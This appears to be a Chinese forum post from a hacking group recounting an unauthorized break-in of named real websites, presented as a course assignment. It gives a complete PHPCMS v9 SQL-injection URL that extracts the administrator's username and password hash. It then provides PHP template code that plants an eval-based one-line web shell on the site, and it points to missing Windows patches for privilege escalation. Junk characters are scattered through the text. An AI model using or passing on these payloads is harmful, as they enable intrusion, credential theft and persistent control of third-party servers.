|
期末快到了,各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思,叫做黑客攻防,期末作业就是黑站,我笑了。。前几天在服务器上嗅探把服务器搞死了,管理员漏洞也补了,写这篇文章单凭记忆,图片较少,还请见谅。 Author:夜行人 From:F4ck Team
) ]3 V k0 k1 |- b目标站:http://www.ipucom.com/ 旁注到一个站点:www.zhongyitong.com有phpcmsv9注射漏洞 百度一下找到该漏洞的利用方法。 直接在该网站注册用户名,然后在该网站域名后加上这段代码就能爆出数据库名 api.php?op=add_favorite&url=xx.oo&title=%2527
+ |7 P% w4 k, V! q $ s/ H' s/ l1 \- j- }
& ?: \+ H: Q4 c) Q
; K. {! o2 J& v, d
& Q! C( B2 H7 J4 C! \! D ' b7 Q. A6 b1 n1 r8 x
9 k: t3 c; R, w ?% R. V0 q( n
( W& B3 J' {$ p1 J% s
l6 P d, N# P, y7 ?( ?
' t8 c6 ]1 y- a% a W; k9 g* c0 E- m. \) @
5 S+ E1 i) m$ T/ \" u. a4 @ 这里可以清楚的看到数据库名和表名,然后把该表名替换一下代码中的表名 api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from% 2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select %2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from %2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables %2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from %2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and %2520%25271%2527%253D%25271 3 E" ?1 v4 v6 d- u- d: W, ] k
( i9 ?' p+ u+ E, ?
& U5 O3 e# X, |9 v
+ k+ d& V$ K9 L' W+ `% ^
9 k( g0 m' c7 \ c# [! A) b5 \ 帐号密码就出来了,md5解密一下就行了 进入后台, 界面 > 模板管理 > 模板风格 >
; B" L/ O8 u/ R! d5 j; J* O1 n7 t$ @ 4 U3 ?# v4 @) r
) \7 C+ y0 ?# N4 {
' n! v7 T+ O& s; X
p7 w8 F& s, u; P2 N0 o: c( _+ u* o+ @
" o& U$ \! G7 d8 ?, M
' d- S; L3 @2 S* D/ N5 e) e
h) x0 |' h) O 点击后面的修改,然后把一下代码复制上去保存 <? $fp = @fopen("c.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n"); @fclose($fp); ?>
1 O. D9 v1 H6 v, D, l* ^* [; W8 Q) K u. T
. ]' Q* `! @9 c% s! l. y3 j. ~; ]' h: u3 ?4 {8 s8 Q
% D( ], G3 O6 n( T
% }% k" V: p1 v/ p( t. _# y) e
/ w a+ F9 Q0 ^5 G+ _' z5 W7 {
4 {$ `1 g2 G( V |8 F: a. C: f L: Y, m O5 B+ o4 v/ c& i
0 I: T( h5 v! C- B5 @8 G3 N) U0 O% x V5 Z& N
提交后可视化一下+ [8 e( U' K+ t [1 V ?6 m8 k8 t% v/ o
1 V4 p$ V. Z* L 在网站的根目录就生成了你的一句话木马客户端 http://www.zhongyitong.com/f4ck.php 然后通过控制端连上去就行了。。。 提权貌似很简单,看了下systeminfo 发现没有 KB2503665 KB2592799 |